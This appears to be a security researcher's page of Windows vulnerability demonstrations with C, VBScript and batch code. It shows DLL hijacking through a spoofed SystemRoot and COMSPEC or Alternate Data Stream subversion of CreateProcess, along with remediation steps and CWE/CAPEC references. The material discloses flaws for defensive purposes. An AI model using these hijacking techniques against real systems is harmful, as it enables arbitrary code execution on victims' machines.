SetEnvironmentStrings()
,
GetEnvironmentStrings()
and
GetEnvironmentVariable()
support an unsorted environment block!
SetEnvironmentStringsW()
Note: a proper implementation calls functions like
GetSystemDirectory()
,
GetSystemWindowsDirectory()
,
GetSystemWow64Directory()
,
GetWindowsDirectory()
,
SHGetFolderPath()
and
SHGetKnownFolderPath()
to determine (system) paths instead to evaluate (user-controlled)
environment variables!
Cmd.exe
, then execute the
following command lines to remove all environment variables and
(attempt to) start the applications
Explorer.exe
,
NotePad.exe
,
RegEdit.exe
and
Write.exe
as well as
IExplore.exe
and
WordPad.exe
afterwards:
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%SystemRoot%" FOR /F "Delims==" %? IN ('SET') DO @SET "%?=" DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B Explorer.exe /E,/Separate,. NotePad.exe /P Win.ini RegEdit.exe /M Write.exe START IExplore.exe START WordPad.exe EXITNote: the command lines can be copied and pasted as block into a Command Processor window.
explorer.exe notepad.exe regedit.exe write.exe win.iniOops: while
NotePad.exe
and
RegEdit.exe
start properly,
Explorer.exe
,
Write.exe
plus
START IExplore.exe
fail silently, and
START WordPad.exe
fails with an error message box!
Create the text file quirk3.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
WCHAR szProcess[MAX_PATH];
DWORD dwProcess;
WCHAR szMessage[1024];
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\0';
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
szProcess[dwProcess] = L'\0';
if (wsprintf(szMessage,
L"\'%ls\' loaded at address 0x%p in process \'%ls\'\n",
szModule, hModule, szProcess) == 0)
return FALSE;
return IDOK == MessageBoxEx(HWND_DESKTOP,
szMessage,
__LPREFIX(__FUNCTION__) L"() entry point",
MB_OKCANCEL,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
}
MAKELANGID
MAKELANGID
Build the
DLL
quirk3.dll
from the source file quirk3.c
created in step 1.:
SET CL=/GAFy /LD /Oisy /W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE quirk3.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk3.dll
is a pure
Win32
DLL
and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk3.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:quirk3.dll /dll /implib:quirk3.lib quirk3.obj kernel32.lib user32.lib
Create the subdirectory System32\
in the current
directory, create hardlinks
NDFAPI.dll
and
PropSys.dll
of the
DLL
quirk3.dll
built in step 2. in this subdirectory,
set the environment variable SystemRoot
to the current
directory, then execute the two START
commands used
before again:
MKDIR System32 MKLINK /H System32\NDFAPI.dll quirk3.dll MKLINK /H System32\PropSys.dll quirk3.dll SET SystemRoot=%CD% START IExplore.exe START WordPad.exeNote: the command lines can be copied and pasted as block into a Command Processor window.
Hardlink created for System32\NPFAPI.dll <<===>> quirk3.dll Hardlink created for System32\PropSys.dll <<===>> quirk3.dllOUCH: the internal
Start
command of the Command Processor
Cmd.exe
loads and executes
(at least) arbitrary bogus
DLLs
named
NDFAPI.dll
and PropSys.dll
from
an arbitrary bogus system directory!
.bat
and .cmd
are
associated with the
file types
alias
Programmatic Identifiers
batfile
and cmdfile
whose
Open
verbis registered with the command line template
"%1" %*
:
ASSOC .bat ASSOC .cmd FTYPE batfile FTYPE cmdfile
.bat=batfile .cmd=cmdfile batfile="%1" %* cmdfile="%1" %*
ShellExecute()
and
ShellExecuteEx()
retrieve these command line templates, replace the various tokens
%‹digit›
,
%‹letter›
and %*
with file
or path names and arguments, then feed the completed command line to
one of the
CreateProcess()
,
CreateProcessAsUser()
,
CreateProcessWithLogonW()
or
CreateProcessWithTokenW()
functions.
Launching Applications (ShellExecute, ShellExecuteEx, SHELLEXECUTEINFO)
The documentation for the
CreateProcess()
function states:
To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file.Due to the security vulnerability CVE-2014-0315 alias MS14-019 I discovered and reported at the MSRC about 11 years ago, which was fixed with security update 2922229 some months later, the following note was added several years later:
Important
The MSRC engineering team advises against this. See MS14-019 – Fixing a binary hijacking via .cmd or .bat file for more details.
Create the text file quirk4.vbs
with the following
content in an arbitrary, preferable empty directory:
Rem Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Scripting.FileSystemObject")
Const fsoWindowsFolder = 0
Const fsoSystemFolder = 1
Const fsoTemporaryFolder = 2
strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
strProgram = .BuildPath(strFolder, "NotePad.exe")
End With
With WScript.CreateObject("WScript.Shell").Environment("VOLATILE")
If .Item("COMSPEC") = vbNullString Then
.Item("COMSPEC") = strProgram
Else
.Remove("COMSPEC")
End If
End With
Execute the
VBScript
quirk4.vbs
created in step 1. per double-click to
set the volatile environment variable COMSPEC
to the
path name of the Editor.
Create the text files quirk4.bat
and
quirk4.cmd
with the following content in an arbitrary,
preferable empty directory:
PAUSE
Execute the batch scripts quirk4.bat
and
quirk4.cmd
created in step 3. per double-click.
OUCH: the Editor
starts instead of the Command Processor
Cmd.exe
and displays an error
message box – most obviously Microsoft’s
developers and their quality miserability
assurance ignore their own companies’ documentation and
(security) guidelines!
Execute the
VBScript
quirk4.vbs
created in step 1. per double-click to
remove the volatile environment variable COMSPEC
again.
COMSPEC
pointing to an arbitrary Alternate Data Stream or an
arbitrary UNC path
\\‹computer›\‹share›\[‹directory›\[…\]]‹file›
is left as an exercise to the reader!
batfile
and cmdfile
associated with the extensions
.bat
and .cmd
from its default value
"%1" %*
to
C:\Windows\System32\Cmd.exe /D /C "%L" %*
:
FTYPE batfile=%COMSPEC% /D /C "%L" %* FTYPE cmdfile=%COMSPEC% /D /C "%L" %*Note: the internal
Ftype
command must be run with administrative privileges.
If you still have not abandonded the bad habit of
using the Protected Administrator account created
during Windows Setup you also need to change the
command line templates registered for the RunAs
verb:
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C \"%L\" %*"
CAVEAT: thanksto the Merged View of HKEY_CLASSES_ROOT introduced with Windows 2000 this remediation but fails if the unnamed default registry entry with the default command line template is present in the corresponding registry key
HKEY_CURRENT_USER\Software\Classes\‹file type›\Shell\‹verb›\Command
of a user account!
Create the text file quirk4.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const STARTUPINFO si = {sizeof(si)};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
PROCESS_INFORMATION pi;
WCHAR szCmdLine[] = L".\\quirk4.bat";
WCHAR szProcess[MAX_PATH];
DWORD dwProcess = sizeof(szProcess) / sizeof(*szProcess);
DWORD dwThread;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!CreateProcess((LPCWSTR) NULL,
szCmdLine,
(LPSECURITY_ATTRIBUTES) NULL,
(LPSECURITY_ATTRIBUTES) NULL,
FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
(LPWSTR) NULL,
(LPCWSTR) NULL,
&si,
&pi))
PrintConsole(hConsole,
L"CreateProcess() returned error %lu\n",
dwError = GetLastError());
else
{
if (!QueryFullProcessImageName(pi.hProcess, 0, szProcess, &dwProcess))
PrintConsole(hConsole,
L"QueryFullProcessImageName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"Child process loaded from image file \'%ls\'\n",
szProcess);
PrintConsole(hConsole,
L"Child process %lu with primary thread %lu created\n",
pi.dwProcessId, pi.dwThreadId);
if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeThread(pi.hThread, &dwThread))
PrintConsole(hConsole,
L"GetExitCodeThread() returned error %lu\n",
dwError = GetLastError());
else
if (dwThread > 65535)
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code 0x%08lX\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
else
PrintConsole(hConsole,
L"Primary thread %lu of child process %lu exited with code %lu\n",
pi.dwThreadId, pi.dwProcessId, dwThread);
if (!CloseHandle(pi.hThread))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
PrintConsole(hConsole,
L"WaitForSingleObject() returned error %lu\n",
dwError = GetLastError());
if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
PrintConsole(hConsole,
L"GetExitCodeProcess() returned error %lu\n",
dwError = GetLastError());
else
if (dwProcess > 65535)
PrintConsole(hConsole,
L"Child process %lu exited with code 0x%08lX\n",
pi.dwProcessId, dwProcess);
else
PrintConsole(hConsole,
L"Child process %lu exited with code %lu\n",
pi.dwProcessId, dwProcess);
if (!CloseHandle(pi.hProcess))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk4.exe
from the
source file quirk4.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk4.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk4.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk4.c quirk4.c(58) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk4.exe quirk4.obj kernel32.lib user32.lib
Create the text file quirk4.bat
with the following
content next to the console application quirk4.exe
built in step 2.:
@ECHO %CMDCMDLINE%
Execute the console application quirk4.exe
built in
step 2. a first time to prove the documentation cited above
wrong:
.\quirk4.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 6008 with primary thread 5092 created C:\Windows\system32\cmd.exe /c .\quirk4.bat Primary thread 5092 of child process 6008 exited with code 0 Child process 6008 exited with code 0OUCH¹: despite its lpApplicationName argument set to
NULL
, the Win32 function
CreateProcess()
executes a batch script with only its lpCommandLine argument
set to the (absolute or relative) path name of that batch script!
Set the environment variable COMSPEC
to the path name
of an arbitrary application, then execute the console application
quirk4.exe
a second time to show undocumented
behaviour:
SET COMSPEC=%SystemRoot%\System32\Reg.exe .\quirk4.exe
Child process loaded from image file 'C:\Windows\SysWOW64\reg.exe' Child process 5832 with primary thread 5704 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 5704 of child process 5832 exited with code 1 Child process 5832 exited with code 1OUCH²: the Win32 function
CreateProcess()
evaluates the environment variable COMSPEC
and executes
an arbitrary (rogue) application!
Set the environment variable COMSPEC
to the (relative
or absolute) path name of an arbitrary
NTFS
Alternate Data Stream
that contains an arbitrary application, then execute the console
application quirk4.exe
a third time to show
undocumented behaviour:
SET COMSPEC=.\quirk4.bat:Zone.Identifier TYPE "%SystemRoot%\System32\Reg.exe" 1>"%COMSPEC%" .\quirk4.exe
Child process loaded from image file 'C:\Users\Stefan\Desktop\quirk4.bat:Zone.Identifier' Child process 6252 with primary thread 6096 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 6096 of child process 6252 exited with code 1 Child process 6252 exited with code 1OUCH³: the Win32 function
CreateProcess()
evaluates the environment variable COMSPEC
and executes
an arbitrary (rogue) application also from an
Alternate Data Stream!
Remove the environment variable COMSPEC
, then execute
the console application quirk4.exe
a fourth time to
show undocumented behaviour:
SET COMSPEC= .\quirk4.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 5436 with primary thread 5916 created C:\Windows\system32\cmd.exe /c .\quirk4.bat Primary thread 5916 of child process 5436 exited with code 0 Child process 5436 exited with code 0Oops: the Win32 function
CreateProcess()
finds the Command Processor even when
the environment variable COMSPEC
is not set!
Copy an arbitrary application (or an empty file) as
CMD.EXE
into the current directory, then execute the
console application quirk4.exe
a fifth time to show
that it doesn’t search the path, i.e. it doesn’t execute
CMD.EXE
from its application directory
or the
current directory:
COPY "%SystemRoot%\System32\Reg.exe" CMD.EXE .\quirk4.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 5720 with primary thread 6184 created C:\Windows\system32\cmd.exe /c .\quirk4.bat Primary thread 6184 of child process 5720 exited with code 0 Child process 5720 exited with code 0
Create the subdirectory System32\
in the current
directory, copy an arbitrary application as CMD.EXE
into it and set the environment variable SystemRoot
to
the current directory, then execute the console application
quirk4.exe
a last time to show more undocumented
behaviour:
MKDIR System32 MOVE CMD.EXE System32 SET SystemRoot=%CD% .\quirk4.exe
Child process loaded from image file 'C:\Users\Stefan\Desktop\System32\CMD.EXE' Child process 5372 with primary thread 5448 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 5448 of child process 5372 exited with code 1 Child process 5372 exited with code 1OUCH⁴: if the environment variable
COMSPEC
is not set the Win32 function
CreateProcess()
evaluates the environment variable SystemRoot
and
executes an arbitrary (rogue) application from the path
%SystemRoot%\System32\Cmd.exe
!
COMSPEC
or SystemRoot
pointing to an arbitrary
UNC path is left as
an exercise to the reader!
Note: an exploration of the (mis)behaviour with the
Win32 functions
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
COMSPEC
or
SystemRoot
is a well-known weakness,
documented as
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
and
CWE-73: External Control of File Name or Path
in the
CWE™;
it allows well-known attacks like
CAPEC-13: Subverting Environment Variable Values
and
CAPEC-471: Search Order Hijacking
documented in the
CAPEC™.
If the specified process is the System process or one of the Client
Server Run-Time Subsystem (CSRSS) processes, this function fails and
the last error code is ERROR_ACCESS_DENIED
because
their access restrictions prevent user-level code from opening them.
The highlighted parts are but wrong!
The WOW64 emulator runs in user mode. It provides an interface between the 32-bit version of Ntdll.dll and the kernel of the processor, and it intercepts kernel calls. The WOW64 emulator consists of the following DLLs:These DLLs, along with the 64-bit version of Ntdll.dll, are the only 64-bit binaries that can be loaded into a 32-bit process. On Windows 10 on ARM, CHPE (Compiled Hybrid Portable Executable) binaries may also be loaded into an x86 32-bit process.
- Wow64.dll provides the core emulation infrastructure and the thunks for the Ntoskrnl.exe entry-point functions.
- Wow64Win.dll provides thunks for the Win32k.sys entry-point functions.
- (x64 only) Wow64Cpu.dll provides support for running x86 programs on x64.
- (Intel Itanium only) IA32Exec.bin contains the x86 software emulator.
- (Intel Itanium only) Wowia32x.dll provides the interface between IA32Exec.bin and WOW64.
- (ARM64 only) xtajit.dll contains the x86 software emulator.
- (ARM64 only) wowarmw.dll provides support for running ARM32 programs on ARM64.
At startup, Wow64.dll loads the x86 version of Ntdll.dll (or the CHPE version, if enabled) and runs its initialization code, which loads all necessary 32-bit DLLs. […]
NTDLL.dll
deems necessary.
Create the text file quirk8.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int main(void)
{
return 'VOID';
}
Note: this trivial minimal program has 0 (in words:
zero) dependencies, i.e. the initialisation code of
NTDLL.dll
has no
reason to load any other
DLL
at all!
Build the 32-bit console application quirk8.exe
from
the source file quirk8.c
created in step 1.:
SET CL=/W4 /X /Zl SET LINK=/ENTRY:main /NODEFAULTLIB CL.EXE quirk8.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk8.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:main /NODEFAULTLIB /out:quirk8.exe quirk8.objFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Execute the 32-bit console application quirk8.exe
built
in step 2. under the 32-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk8.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk8.exe Symbol search path is: srv* Executable search path is: ModLoad: 01230000 01232000 image01230000 ModLoad: 779c0000 77b40000 ntdll.dll ModLoad: 75610000 75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 752d0000 75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 75540000 755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 757a0000 7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 77420000 77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 77300000 773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 750e0000 75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 750d0000 750dc000 C:\Windows\syswow64\CRYPTBASE.dllOOPS¹: 8 (in words: eight) not explicitly referenced and thus neither necessary nor required DLLs are loaded in
Caveat: on 64-bit systems, a 32-bit debugger
doesn’t receive LOAD_DLL_DEBUG_EVENT
and
UNLOAD_DLL_DEBUG_EVENT
events for 64-bit
DLLs.
Execute the 32-bit console application quirk8.exe
built
in step 2. under the 64-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk8.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk8.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000000`12340000 00000000`12342000 image00000000`12340000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`779c0000 00000000`77b40000 ntdll32.dll ModLoad: 00000000`75040000 00000000`7507f000 C:\Windows\SYSTEM32\wow64.dll ModLoad: 00000000`74fe0000 00000000`7503c000 C:\Windows\SYSTEM32\wow64win.dll ModLoad: 00000000`74fd0000 00000000`74fd8000 C:\Windows\SYSTEM32\wow64cpu.dll ModLoad: 00000000`775e0000 00000000`776ff000 WOW64_IMAGE_SECTION ModLoad: 00000000`75610000 00000000`75720000 WOW64_IMAGE_SECTION ModLoad: 00000000`775e0000 00000000`776ff000 NOT_AN_IMAGE ModLoad: 00000000`77700000 00000000`777fb000 NOT_AN_IMAGE ModLoad: 00000000`75610000 00000000`75720000 C:\Windows\syswow64\kernel32.dll ModLoad: 00000000`752d0000 00000000`75317000 C:\Windows\syswow64\KERNELBASE.dll ModLoad: 00000000`75540000 00000000`755e1000 C:\Windows\syswow64\ADVAPI32.DLL ModLoad: 00000000`757a0000 00000000`7584c000 C:\Windows\syswow64\msvcrt.dll ModLoad: 00000000`77420000 00000000`77439000 C:\Windows\SysWOW64\sechost.dll ModLoad: 00000000`77300000 00000000`773f0000 C:\Windows\syswow64\RPCRT4.dll ModLoad: 00000000`750e0000 00000000`75140000 C:\Windows\syswow64\SspiCli.dll ModLoad: 00000000`750d0000 00000000`750dc000 C:\Windows\syswow64\CRYPTBASE.dllOOPS²: as before!
Build the 64-bit console application quirk8.exe
from
the source file quirk8.c
created in step 1.:
SET CL=/W4 /X /Zl SET LINK=/ENTRY:main /NODEFAULTLIB CL.EXE quirk8.c
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. quirk8.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:main /NODEFAULTLIB /out:quirk8.exe quirk8.obj
Execute the 64-bit console application quirk8.exe
built
in step 5. under the 64-bit debugger
CDB.exe
:
CDB.EXE /C q /G /g .\quirk8.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 AMD64 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk8.exe Symbol search path is: srv* Executable search path is: ModLoad: 00000000`12340000 00000000`12342000 image00000000`12340000 ModLoad: 00000000`77800000 00000000`7799f000 ntdll.dll ModLoad: 00000000`775e0000 00000000`776ff000 C:\Windows\system32\kernel32.dll ModLoad: 000007fe`fd510000 000007fe`fd577000 C:\Windows\system32\KERNELBASE.dll ModLoad: 000007fe`fd980000 000007fe`fda5b000 C:\Windows\system32\ADVAPI32.dll ModLoad: 000007fe`fe1c0000 000007fe`fe25f000 C:\Windows\system32\msvcrt.dll ModLoad: 000007fe`fe260000 000007fe`fe27f000 C:\Windows\SYSTEM32\sechost.dll ModLoad: 000007fe`ff250000 000007fe`ff37c000 C:\Windows\system32\RPCRT4.dllOOPS³: 6 (in words: six) not explicitly referenced and thus neither necessary nor required DLLs are loaded in
Finally (try to) execute the 64-bit console application
quirk8.exe
built in step 5. under the 32-bit
debugger CDB.exe
:
CDB.EXE /C q /G /g .\quirk8.exe
Microsoft (R) Windows Debugger Version 6.1.7601.17514 X86 Copyright (c) Microsoft Corporation. All rights reserved. CommandLine: .\quirk8.exe Cannot execute '.\quirk8.exe', Win32 error 0n50 "The request is not supported." Debuggee initialization failed, Win32 error 0n50 "The request is not supported."
/GS
compiler option
states:
The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.These statements are but wrong in three points and omit several details:
_load_config_used
structure matches the size of the
IMAGE_LOAD_CONFIG_DIRECTORY
structure in the eleventh entry of the
IMAGE_DATA_DIRECTORY
array in the
IMAGE_OPTIONAL_HEADER
structure;
__security_init_cookie()
function provided in the
MSVCRT
libraries (re)initialises the security cookie only if it has this
default value or is 0;
__security_init_cookie()
function to (re)initialise the security cookie;
mainCRTStartup
,
wmainCRTStartup
, WinMainCRTStartup
,
wWinMainCRTStartup
and _DllMainCRTStartup
!
If you link withstrict_gs_check pragma/NODEFAULTLIB
and you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
Create the text file quirk9.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef _WIN64
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0xBB40E64E;
#endif // = 3141592654 = 10**9 * pi
extern LPVOID __safe_se_handler_table[];
extern BYTE __safe_se_handler_count;
const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0, 0,
&__security_cookie,
__safe_se_handler_table,
&__safe_se_handler_count};
#else // _WIN64
#ifdef ZERO
DWORD_PTR __security_cookie = 0;
#else
DWORD_PTR __security_cookie = 0x00002B992DDFA232;
// = 3141592653589793241 >> 16
#endif // = 10**18 / 2**16 * pi
const IMAGE_LOAD_CONFIG_DIRECTORY64 _load_config_used = {sizeof(_load_config_used),
'NULL', // = 2011-08-24 19:09:00 UTC
_MSC_VER / 100,
_MSC_VER % 100,
0, 0, 0, 0, 0, 0, 0, 0, 0,
HEAP_GENERATE_EXCEPTIONS,
0, 0, 0,
&__security_cookie,
0,
0};
#endif // _WIN64
#ifdef _DLL
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
return FALSE;
#ifndef _WIN64
if (gsCookie == 0xBB40E64E)
#else
if (gsCookie == 0x00002B992DDFA232)
#endif
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
lpFunction);
else if (gsCookie == 0)
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is 0!\a\n",
lpFunction);
else
dwOutput = wsprintf(szOutput,
L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
lpFunction, gsCookie);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(dllexport)
__declspec(safebuffers)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie)
{
WCHAR szOutput[1024];
DWORD dwOutput;
UINT uiType = MB_ICONERROR | MB_OK;
#ifndef _WIN64
if (gsCookie == 3141592654)
#else
if (gsCookie == 3141592653589793241 >> 16)
#endif
wcscpy(szOutput, L"/GS security cookie is NOT initialised!\n");
else if (gsCookie == 0)
wcscpy(szOutput, L"/GS security cookie is 0!\n");
else
{
dwOutput = wsprintf(szOutput,
L"/GS security cookie is initialised with 0x%p\n",
gsCookie);
szOutput[dwOutput] = L'\0';
uiType = MB_ICONINFORMATION | MB_OK;
}
return MessageBoxEx(HWND_DESKTOP, szOutput, lpFunction, uiType,
MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
}
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
if (GetConsoleWindow() != NULL)
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
else
WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
return TRUE;
}
#else // _DLL
#ifdef CONSOLE
__declspec(dllimport)
BOOL WINAPI ConsoleCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
ExitProcess(GetLastError());
}
#else // CONSOLE
__declspec(dllimport)
BOOL WINAPI WindowsCookie(LPCWSTR lpFunction, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID CDECL wWinMainCRTStartup(VOID)
{
